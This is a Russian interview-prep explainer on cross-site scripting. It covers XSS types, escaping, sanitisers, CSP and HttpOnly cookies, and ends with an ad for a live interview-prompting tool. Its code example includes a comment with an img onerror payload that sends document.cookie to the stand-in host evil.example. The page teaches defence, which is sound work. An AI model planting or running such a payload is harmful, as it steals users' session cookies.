Получить доступ

Что такое XSS и как от неё защищаться?

JuniorБезопасность
Ещё спрашивают так:
  • Что такое межсайтовый скриптинг?
  • Зачем cookie флаг HttpOnly?
  • Что такое Content Security Policy?
Коротко

XSS — злоумышленник заставляет сайт выполнить его JavaScript в браузере другого пользователя: скрипт работает с правами сайта — читает данные страницы, отправляет запросы от имени жертвы.

  • Хранимая — скрипт сохранён в базе (комментарий, имя профиля); отражённая — пришёл в параметре ссылки; DOM-XSS — внедрён клиентским кодом
  • Главная защита — экранирование вывода по контексту; фреймворки делают это по умолчанию
  • Опасные места: innerHTML, dangerouslySetInnerHTML, v-html, вставка в URL и атрибуты

А ещё Защита в глубину: CSP, cookie с HttpOnly, санитайзер для разрешённого HTML

Так подсказку видит пользователь sotto на живом собеседовании — за пару секунд, пока вы думаете вслух.

Подробно

Браузер не различает «скрипт сайта» и «скрипт, который сайт по ошибке вставил из пользовательских данных». Если в имя пользователя записать <script>…</script>, а страница выведет имя как HTML, скрипт выполнится у всех, кто откроет страницу.

Виды:

  • хранимая — вредный ввод сохраняется на сервере и показывается другим: комментарии, отзывы, сообщения в поддержку, названия файлов;
  • отражённая — вредные данные в ссылке (?q=<script>…), сервер вставляет их в ответ; жертву заманивают по ссылке;
  • DOM-based — уязвим клиентский код: element.innerHTML = location.hash.

Что может скрипт: читать содержимое страницы и токены из localStorage, делать запросы к API от имени пользователя (с его cookie), подменять формы и выманивать пароль, майнить, распространяться дальше (червь в соцсети).

Защита:

  • экранирование при выводе с учётом контекста: в HTML-тексте < → &lt;; в атрибуте — кавычки; в JavaScript — свои правила; в URL — запрет javascript:. Шаблонизаторы (Jinja2, Thymeleaf) и фреймворки (React, Vue, Angular) экранируют по умолчанию — опасно именно отключение: dangerouslySetInnerHTML, v-html, |safe, innerHTML;
  • если нужно разрешить HTML (редактор статей) — санитайзер со списком разрешённых тегов и атрибутов (DOMPurify), а не самописные регулярки;
  • Content Security Policy — заголовок, который запрещает инлайн-скрипты и загрузку скриптов с чужих доменов: даже внедрённый тег не выполнится;
  • **cookie с HttpOnly** — скрипт не прочитает сессионную cookie (но запросы от имени пользователя сделать всё равно сможет);
  • не хранить токены в localStorage, если можно в HttpOnly-cookie;
  • Content-Type и X-Content-Type-Options: nosniff для отдаваемых файлов.

Валидация ввода полезна, но не заменяет экранирование вывода: одни и те же данные выводятся в разные контексты.

Пример

// уязвимо: имя пользователя из API вставляется как HTML
card.innerHTML = `<b>${user.name}</b>`;
// user.name = '<img src=x onerror="fetch(`//evil.example/?c=${document.cookie}`)">'

// безопасно: текст, а не разметка
const b = document.createElement("b");
b.textContent = user.name;
card.append(b);

Что хотят услышать

  • Суть: чужой скрипт выполняется в контексте сайта у другого пользователя.
  • Виды: хранимая, отражённая, DOM.
  • Экранирование по контексту как главная защита, опасные API фреймворков.
  • CSP и HttpOnly как дополнительные слои.

Частые ошибки

  • Защищаться только фильтрацией слова <script> на входе.
  • Считать, что HttpOnly полностью защищает от последствий XSS.

Что спросят дальше

Связанные вопросы

Закрытая бета

Подсказки на собеседовании — в реальном времени

sotto слышит вопрос интервьюера и показывает короткий ответ и план, как в блоке «Коротко». Оставьте контакт — пришлём доступ и промокод.

  • Промокод на 2 часа — сверх пробных 30 минут
  • Программа для Windows — скачать сразу, войти — через Яндекс ID или VK ID
  • Прямая связь с разработчиком: что улучшить — сделаем